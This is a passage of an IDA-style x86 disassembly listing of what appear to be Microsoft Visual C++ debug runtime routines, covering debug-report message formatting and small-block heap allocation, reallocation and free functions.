eax, [ebp+var_3008] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push offset aSDS_0 ; "%s(%d) : %s" push 1000h lea eax, [ebp+var_2008] push eax call sub_418EF0 add esp, 18h test eax, eax jge short loc_41C1B0 push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_2008] push ecx call sub_419FA0 add esp, 8 loc_41C1B0: ; CODE XREF: sub_41BF80+21Aj jmp short loc_41C1C8 ; --------------------------------------------------------------------------- loc_41C1B2: ; CODE XREF: sub_41BF80+1EEj lea edx, [ebp+var_3008] push edx lea eax, [ebp+var_2008] push eax call sub_419FA0 add esp, 8 loc_41C1C8: ; CODE XREF: sub_41BF80:loc_41C1B0j cmp dword_493780, 0 jz short loc_41C20C lea ecx, [ebp+var_1008] push ecx lea edx, [ebp+var_2008] push edx mov eax, [ebp+arg_0] push eax call dword_493780 add esp, 0Ch test eax, eax jz short loc_41C20C cmp [ebp+arg_0], 2 jnz short loc_41C201 push offset dword_442D1C call ds:dword_494414 loc_41C201: ; CODE XREF: sub_41BF80+274j mov eax, [ebp+var_1008] jmp loc_41C30B ; --------------------------------------------------------------------------- loc_41C20C: ; CODE XREF: sub_41BF80+24Fj ; sub_41BF80+26Ej mov ecx, [ebp+arg_0] mov edx, dword_442D20[ecx*4] and edx, 1 test edx, edx jz short loc_41C25B mov eax, [ebp+arg_0] cmp dword_442D2C[eax*4], 0FFFFFFFFh jz short loc_41C25B push 0 lea ecx, [ebp+var_3010] push ecx lea edx, [ebp+var_2008] push edx call sub_418E70 add esp, 4 push eax lea eax, [ebp+var_2008] push eax mov ecx, [ebp+arg_0] mov edx, dword_442D2C[ecx*4] push edx call ds:dword_4942E4 loc_41C25B: ; CODE XREF: sub_41BF80+29Bj ; sub_41BF80+2A8j mov eax, [ebp+arg_0] mov ecx, dword_442D20[eax*4] and ecx, 2 test ecx, ecx jz short loc_41C279 lea edx, [ebp+var_2008] push edx call ds:dword_494440 loc_41C279: ; CODE XREF: sub_41BF80+2EAj mov eax, [ebp+arg_0] mov ecx, dword_442D20[eax*4] and ecx, 4 test ecx, ecx jz short loc_41C2F8 cmp [ebp+arg_8], 0 jz short loc_41C2AD push 0Ah lea edx, [ebp+var_3024] push edx mov eax, [ebp+arg_8] push eax call sub_4262C0 add esp, 0Ch mov [ebp+var_302C], eax jmp short loc_41C2B7 ; --------------------------------------------------------------------------- loc_41C2AD: ; CODE XREF: sub_41BF80+30Ej mov [ebp+var_302C], 0 loc_41C2B7: ; CODE XREF: sub_41BF80+32Bj lea ecx, [ebp+var_1000] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_302C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41C310 add esp, 14h mov [ebp+var_1008], eax cmp [ebp+arg_0], 2 jnz short loc_41C2F0 push offset dword_442D1C call ds:dword_494414 loc_41C2F0: ; CODE XREF: sub_41BF80+363j mov eax, [ebp+var_1008] jmp short loc_41C30B ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41BF80+308j cmp [ebp+arg_0], 2 jnz short loc_41C309 push offset dword_442D1C call ds:dword_494414 loc_41C309: ; CODE XREF: sub_41BF80+37Cj xor eax, eax loc_41C30B: ; CODE XREF: sub_41BF80+71j ; sub_41BF80+D9j ... pop edi mov esp, ebp pop ebp retn sub_41BF80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_41BF80+351p var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1138h call sub_418D40 loc_41C31D: ; CODE XREF: sub_41C310+3Cj cmp [ebp+arg_10], 0 jnz short loc_41C348 push offset aSzusermessageN ; "szUserMessage != NULL" push 0 push 1DAh push offset aDbgrpt_c ; "dbgrpt.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41C348 call sub_41BE70 loc_41C348: ; CODE XREF: sub_41C310+11j ; sub_41C310+31j xor eax, eax test eax, eax jnz short loc_41C31D push 104h lea ecx, [ebp+var_108] push ecx push 0 call ds:dword_4942F8 test eax, eax jnz short loc_41C37A push offset aProgramNameUnk ; "<program name unknown>" lea edx, [ebp+var_108] push edx call sub_419FA0 add esp, 8 loc_41C37A: ; CODE XREF: sub_41C310+54j lea eax, [ebp+var_108] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_418E70 add esp, 4 cmp eax, 40h jbe short loc_41C3BD mov edx, [ebp+var_4] push edx call sub_418E70 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax-40h] mov [ebp+var_4], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_4] push eax call sub_4191A0 add esp, 0Ch loc_41C3BD: ; CODE XREF: sub_41C310+82j mov ecx, [ebp+arg_C] mov [ebp+var_1110], ecx cmp [ebp+var_1110], 0 jz short loc_41C418 mov edx, [ebp+var_1110] push edx call sub_418E70 add esp, 4 cmp eax, 40h jbe short loc_41C418 mov eax, [ebp+var_1110] push eax call sub_418E70 add esp, 4 mov ecx, [ebp+var_1110] lea edx, [ecx+eax-40h] mov [ebp+var_1110], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_1110] push eax call sub_4191A0 add esp, 0Ch loc_41C418: ; CODE XREF: sub_41C310+BDj ; sub_41C310+D1j cmp [ebp+arg_0], 2 jnz short loc_41C42A mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"... jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42A: ; CODE XREF: sub_41C310+10Cj mov [ebp+var_1114], offset dword_432DE4 loc_41C434: ; CODE XREF: sub_41C310+118j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41C449 mov eax, [ebp+arg_10] mov [ebp+var_1118], eax jmp short loc_41C453 ; --------------------------------------------------------------------------- loc_41C449: ; CODE XREF: sub_41C310+12Cj mov [ebp+var_1118], offset dword_432DE4 loc_41C453: ; CODE XREF: sub_41C310+137j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41C46F cmp [ebp+arg_0], 2 jnz short loc_41C46F mov [ebp+var_111C], offset aExpression ; "Expression: " jmp short loc_41C479 ; --------------------------------------------------------------------------- loc_41C46F: ; CODE XREF: sub_41C310+14Bj ; sub_41C310+151j mov [ebp+var_111C], offset dword_432DE4 loc_41C479: ; CODE XREF: sub_41C310+15Dj mov eax, [ebp+arg_10] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_41C48F mov [ebp+var_1120], offset asc_432DD0 ; "\n\n" jmp short loc_41C499 ; --------------------------------------------------------------------------- loc_41C48F: ; CODE XREF: sub_41C310+171j mov [ebp+var_1120], offset dword_432DE4 loc_41C499: ; CODE XREF: sub_41C310+17Dj cmp [ebp+arg_8], 0 jz short loc_41C4AA mov edx, [ebp+arg_8] mov [ebp+var_1124], edx jmp short loc_41C4B4 ; --------------------------------------------------------------------------- loc_41C4AA: ; CODE XREF: sub_41C310+18Dj mov [ebp+var_1124], offset dword_432DE4 loc_41C4B4: ; CODE XREF: sub_41C310+198j cmp [ebp+arg_8], 0 jz short loc_41C4C6 mov [ebp+var_1128], offset aLine ; "\nLine: " jmp short loc_41C4D0 ; --------------------------------------------------------------------------- loc_41C4C6: ; CODE XREF: sub_41C310+1A8j mov [ebp+var_1128], offset dword_432DE4 loc_41C4D0: ; CODE XREF: sub_41C310+1B4j cmp [ebp+arg_4], 0 jz short loc_41C4E1 mov eax, [ebp+arg_4] mov [ebp+var_112C], eax jmp short loc_41C4EB ; --------------------------------------------------------------------------- loc_41C4E1: ; CODE XREF: sub_41C310+1C4j mov [ebp+var_112C], offset dword_432DE4 loc_41C4EB: ; CODE XREF: sub_41C310+1CFj cmp [ebp+arg_4], 0 jz short loc_41C4FD mov [ebp+var_1130], offset aFile_3 ; "\nFile: " jmp short loc_41C507 ; --------------------------------------------------------------------------- loc_41C4FD: ; CODE XREF: sub_41C310+1DFj mov [ebp+var_1130], offset dword_432DE4 loc_41C507: ; CODE XREF: sub_41C310+1EBj cmp [ebp+var_1110], 0 jz short loc_41C51E mov ecx, [ebp+var_1110] mov [ebp+var_1134], ecx jmp short loc_41C528 ; --------------------------------------------------------------------------- loc_41C51E: ; CODE XREF: sub_41C310+1FEj mov [ebp+var_1134], offset dword_432DE4 loc_41C528: ; CODE XREF: sub_41C310+20Cj cmp [ebp+var_1110], 0 jz short loc_41C53D mov [ebp+var_1138], offset aModule ; "\nModule: " jmp short loc_41C547 ; --------------------------------------------------------------------------- loc_41C53D: ; CODE XREF: sub_41C310+21Fj mov [ebp+var_1138], offset dword_432DE4 loc_41C547: ; CODE XREF: sub_41C310+22Bj mov edx, [ebp+var_1114] push edx mov eax, [ebp+var_1118] push eax mov ecx, [ebp+var_111C] push ecx mov edx, [ebp+var_1120] push edx mov eax, [ebp+var_1124] push eax mov ecx, [ebp+var_1128] push ecx mov edx, [ebp+var_112C] push edx mov eax, [ebp+var_1130] push eax mov ecx, [ebp+var_1134] push ecx mov edx, [ebp+var_1138] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, off_442D38[ecx*4] push edx push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"... push 1000h lea eax, [ebp+var_110C] push eax call sub_418EF0 add esp, 3Ch test eax, eax jge short loc_41C5CD push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_110C] push ecx call sub_419FA0 add esp, 8 loc_41C5CD: ; CODE XREF: sub_41C310+2A7j push 12012h push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library" lea edx, [ebp+var_110C] push edx call sub_426B40 add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jnz short loc_41C606 push 16h call sub_426880 add esp, 4 push 3 call sub_41B330 loc_41C606: ; CODE XREF: sub_41C310+2E3j cmp [ebp+var_10C], 4 jnz short loc_41C616 mov eax, 1 jmp short loc_41C618 ; --------------------------------------------------------------------------- loc_41C616: ; CODE XREF: sub_41C310+2FDj xor eax, eax loc_41C618: ; CODE XREF: sub_41C310+304j mov esp, ebp pop ebp retn sub_41C310 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C620 proc near ; CODE XREF: sub_416F00+2D4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_41C633 xor eax, eax jmp loc_41C6C9 ; --------------------------------------------------------------------------- loc_41C633: ; CODE XREF: sub_41C620+Aj push 9 call sub_41BC90 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41CB40 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41C691 mov [ebp+var_4], 0 mov ecx, [ebp+arg_4] cmp ecx, dword_442D48 ja short loc_41C682 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call sub_41DA10 add esp, 0Ch test eax, eax jz short loc_41C682 mov edx, [ebp+arg_0] mov [ebp+var_4], edx loc_41C682: ; CODE XREF: sub_41C620+42j ; sub_41C620+5Aj push 9 call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] jmp short loc_41C6C9 ; --------------------------------------------------------------------------- loc_41C691: ; CODE XREF: sub_41C620+30j push 9 call sub_41BD30 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_41C6A8 mov [ebp+arg_4], 1 loc_41C6A8: ; CODE XREF: sub_41C620+7Fj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_49377C push eax call ds:dword_494444 loc_41C6C9: ; CODE XREF: sub_41C620+Ej ; sub_41C620+6Fj mov esp, ebp pop ebp retn sub_41C620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C6D0 proc near ; CODE XREF: sub_416F00+2AFp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_0], 0 jnz short loc_41C6ED mov eax, [ebp+arg_4] push eax call sub_41BD70 add esp, 4 jmp loc_41C8B6 ; --------------------------------------------------------------------------- loc_41C6ED: ; CODE XREF: sub_41C6D0+Aj cmp [ebp+arg_4], 0 jnz short loc_41C706 mov ecx, [ebp+arg_0] push ecx call sub_41C8C0 add esp, 4 xor eax, eax jmp loc_41C8B6 ; --------------------------------------------------------------------------- loc_41C706: ; CODE XREF: sub_41C6D0+21j ; sub_41C6D0:loc_41C8B1j mov [ebp+var_8], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_41C889 push 9 call sub_41BC90 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_41CB40 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz loc_41C84C mov eax, [ebp+arg_4] cmp eax, dword_442D48 ja short loc_41C7C0 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_41DA10 add esp, 0Ch test eax, eax jz short loc_41C765 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_41C7C0 ; --------------------------------------------------------------------------- loc_41C765: ; CODE XREF: sub_41C6D0+8Bj mov edx, [ebp+arg_4] push edx call sub_41D1D0 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41C7C0 mov eax, [ebp+arg_0] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_41C796 mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_41C79C ; --------------------------------------------------------------------------- loc_41C796: ; CODE XREF: sub_41C6D0+BCj mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx loc_41C79C: ; CODE XREF: sub_41C6D0+C4j mov edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call sub_418A00 add esp, 0Ch mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_41CC00 add esp, 8 loc_41C7C0: ; CODE XREF: sub_41C6D0+73j ; sub_41C6D0+93j ... cmp [ebp+var_8], 0 jnz short loc_41C840 cmp [ebp+arg_4], 0 jnz short loc_41C7D3 mov [ebp+arg_4], 1 loc_41C7D3: ; CODE XREF: sub_41C6D0+FAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx push 0 mov eax, dword_49377C push eax call ds:dword_494354 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41C840 mov ecx, [ebp+arg_0] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41C816 mov ecx, [ebp+var_4] mov [ebp+var_14], ecx jmp short loc_41C81C ; --------------------------------------------------------------------------- loc_41C816: ; CODE XREF: sub_41C6D0+13Cj mov edx, [ebp+arg_4] mov [ebp+var_14], edx loc_41C81C: ; CODE XREF: sub_41C6D0+144j mov eax, [ebp+var_14] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_8] push edx call sub_418A00 add esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx call sub_41CC00 add esp, 8 loc_41C840: ; CODE XREF: sub_41C6D0+F4j ; sub_41C6D0+128j push 9 call sub_41BD30 add esp, 4 jmp short loc_41C889 ; --------------------------------------------------------------------------- loc_41C84C: ; CODE XREF: sub_41C6D0+64j push 9 call sub_41BD30 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_41C863 mov [ebp+arg_4], 1 loc_41C863: ; CODE XREF: sub_41C6D0+18Aj mov edx, [ebp+arg_4] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_4], edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_49377C push edx call ds:dword_494444 mov [ebp+var_8], eax loc_41C889: ; CODE XREF: sub_41C6D0+41j ; sub_41C6D0+17Aj cmp [ebp+var_8], 0 jnz short loc_41C898 cmp dword_4920E4, 0 jnz short loc_41C89D loc_41C898: ; CODE XREF: sub_41C6D0+1BDj mov eax, [ebp+var_8] jmp short loc_41C8B6 ; --------------------------------------------------------------------------- loc_41C89D: ; CODE XREF: sub_41C6D0+1C6j mov eax, [ebp+arg_4] push eax call sub_41BB80 add esp, 4 test eax, eax jnz short loc_41C8B1 xor eax, eax jmp short loc_41C8B6 ; --------------------------------------------------------------------------- loc_41C8B1: ; CODE XREF: sub_41C6D0+1DBj jmp loc_41C706 ; --------------------------------------------------------------------------- loc_41C8B6: ; CODE XREF: sub_41C6D0+18j ; sub_41C6D0+31j ... mov esp, ebp pop ebp retn sub_41C6D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8C0 proc near ; CODE XREF: sub_4174F0+26Ep ; sub_4174F0+3B2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41C8CC jmp short loc_41C924 ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C8C0+8j push 9 call sub_41BC90 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41CB40 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41C907 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_41CC00 add esp, 8 push 9 call sub_41BD30 add esp, 4 jmp short loc_41C924 ; --------------------------------------------------------------------------- loc_41C907: ; CODE XREF: sub_41C8C0+29j push 9 call sub_41BD30 add esp, 4 mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_49377C push ecx call ds:dword_494350 loc_41C924: ; CODE XREF: sub_41C8C0+Aj ; sub_41C8C0+45j mov esp, ebp pop ebp retn sub_41C8C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C930 proc near ; CODE XREF: sub_417BD0+30p ; .text:0041C9B3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0FFFFFFFEh push 9 call sub_41BC90 add esp, 4 call sub_41E130 test eax, eax jge short loc_41C955 mov [ebp+var_4], 0FFFFFFFCh loc_41C955: ; CODE XREF: sub_41C930+1Cj push 9 call sub_41BD30 add esp, 4 push 0 push 0 mov eax, dword_49377C push eax call ds:dword_494410 test eax, eax jnz short loc_41C99D call ds:dword_4942F0 cmp eax, 78h jnz short loc_41C996 call sub_422F30 mov dword ptr [eax], 78h call sub_422F20 mov dword ptr [eax], 28h jmp short loc_41C99D ; --------------------------------------------------------------------------- loc_41C996: ; CODE XREF: sub_41C930+4Cj mov [ebp+var_4], 0FFFFFFFCh loc_41C99D: ; CODE XREF: sub_41C930+41j ; sub_41C930+64j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41C930 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41C930 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9C0 proc near ; CODE XREF: sub_41B970+7Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax call ds:dword_49444C mov dword_49377C, eax cmp dword_49377C, 0 jnz short loc_41C9EC xor eax, eax jmp short loc_41CA0B ; --------------------------------------------------------------------------- loc_41C9EC: ; CODE XREF: sub_41C9C0+26j call sub_41CAE0 test eax, eax jnz short loc_41CA06 mov ecx, dword_49377C push ecx call ds:dword_494448 xor eax, eax jmp short loc_41CA0B ; --------------------------------------------------------------------------- loc_41CA06: ; CODE XREF: sub_41C9C0+33j mov eax, 1 loc_41CA0B: ; CODE XREF: sub_41C9C0+2Aj ; sub_41C9C0+44j pop ebp retn sub_41C9C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, dword_493778 mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_41CA30 ; --------------------------------------------------------------------------- loc_41CA27: ; CODE XREF: .text:0041CA84j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_41CA30: ; CODE XREF: .text:0041CA25j mov edx, [ebp-4] cmp edx, dword_493774 jge short loc_41CA86 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call ds:dword_494450 push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax call ds:dword_494450 mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, dword_49377C push eax call ds:dword_494350 mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_41CA27 ; --------------------------------------------------------------------------- loc_41CA86: ; CODE XREF: .text:0041CA39j mov edx, dword_493778 push edx push 0 mov eax, dword_49377C push eax call ds:dword_494350 mov ecx, dword_49377C push ecx call ds:dword_494448 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, dword_442D48 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 3F8h jbe short loc_41CAD0 xor eax, eax jmp short loc_41CADD ; --------------------------------------------------------------------------- loc_41CAD0: ; CODE XREF: .text:0041CACAj mov eax, [ebp+8] mov dword_442D48, eax mov eax, 1 loc_41CADD: ; CODE XREF: .text:0041CACEj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAE0 proc near ; CODE XREF: sub_41C9C0:loc_41C9ECp push ebp mov ebp, esp push 140h push 0 mov eax, dword_49377C push eax call ds:dword_494354 mov dword_493778, eax cmp dword_493778, 0 jnz short loc_41CB08 xor eax, eax jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB08: ; CODE XREF: sub_41CAE0+22j mov ecx, dword_493778 mov dword_49376C, ecx mov dword_493770, 0 mov dword_493774, 0 mov dword_493764, 10h mov eax, 1 loc_41CB37: ; CODE XREF: sub_41CAE0+26j pop ebp retn sub_41CAE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB40 proc near ; CODE XREF: sub_418030+30p ; sub_41C620+21p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_493774 imul eax, 14h mov ecx, dword_493778 add ecx, eax mov [ebp+var_C], ecx mov edx, dword_493778 mov [ebp+var_8], edx loc_41CB62: ; CODE XREF: sub_41CB40+4Dj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_41CB8F mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] sub edx, [ecx+0Ch] mov [ebp+var_4], edx cmp [ebp+var_4], 100000h jnb short loc_41CB84 mov eax, [ebp+var_8] jmp short loc_41CB91 ; --------------------------------------------------------------------------- loc_41CB84: ; CODE XREF: sub_41CB40+3Dj mov eax, [ebp+var_8] add eax, 14h mov [ebp+var_8], eax jmp short loc_41CB62 ; --------------------------------------------------------------------------- loc_41CB8F: ; CODE XREF: sub_41CB40+28j xor eax, eax loc_41CB91: ; CODE XREF: sub_41CB40+42j mov esp, ebp pop ebp retn sub_41CB40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CBA0 proc near ; CODE XREF: sub_418030+4Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_8], ecx mov edx, [ebp+var_8] shr edx, 0Fh mov [ebp+var_4], edx mov eax, 80000000h mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, eax test edx, edx jnz short loc_41CBF1 mov eax, [ebp+var_8] and eax, 0Fh test eax, eax jnz short loc_41CBF1 mov ecx, [ebp+var_8] and ecx, 0FFFh test ecx, ecx jz short loc_41CBF1 mov [ebp+var_C], 1 jmp short loc_41CBF8 ; --------------------------------------------------------------------------- loc_41CBF1: ; CODE XREF: sub_41CBA0+2Fj ; sub_41CBA0+39j ... mov [ebp+var_C], 0 loc_41CBF8: ; CODE XREF: sub_41CBA0+4Fj mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_41CBA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC00 proc near ; CODE XREF: sub_41C6D0+E8p ; sub_41C6D0+168p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_1C] add edx, [ebp+var_30] mov [ebp+var_38], edx mov eax, [ebp+var_38] mov ecx, [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_1C] mov eax, [edx-4] mov [ebp+var_C], eax mov ecx, [ebp+var_14] and ecx, 1 test ecx, ecx jnz loc_41CD98 mov edx, [ebp+var_14] sar edx, 4 sub edx, 1 mov [ebp+var_24], edx cmp [ebp+var_24], 3Fh jbe short loc_41CC8F mov [ebp+var_24], 3Fh loc_41CC8F: ; CODE XREF: sub_41CC00+86j mov eax, [ebp+var_38] mov ecx, [ebp+var_38] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41CD71 cmp [ebp+var_24], 20h jnb short loc_41CD06 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41CD04 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_41CD04: ; CODE XREF: sub_41CC00+EAj jmp short loc_41CD71 ; --------------------------------------------------------------------------- loc_41CD06: ; CODE XREF: sub_41CC00+A5j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41CD71 mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41CD71: ; CODE XREF: sub_41CC00+9Bj ; sub_41CC00:loc_41CD04j ... mov eax, [ebp+var_38] mov ecx, [eax+8] mov edx, [ebp+var_38] mov eax, 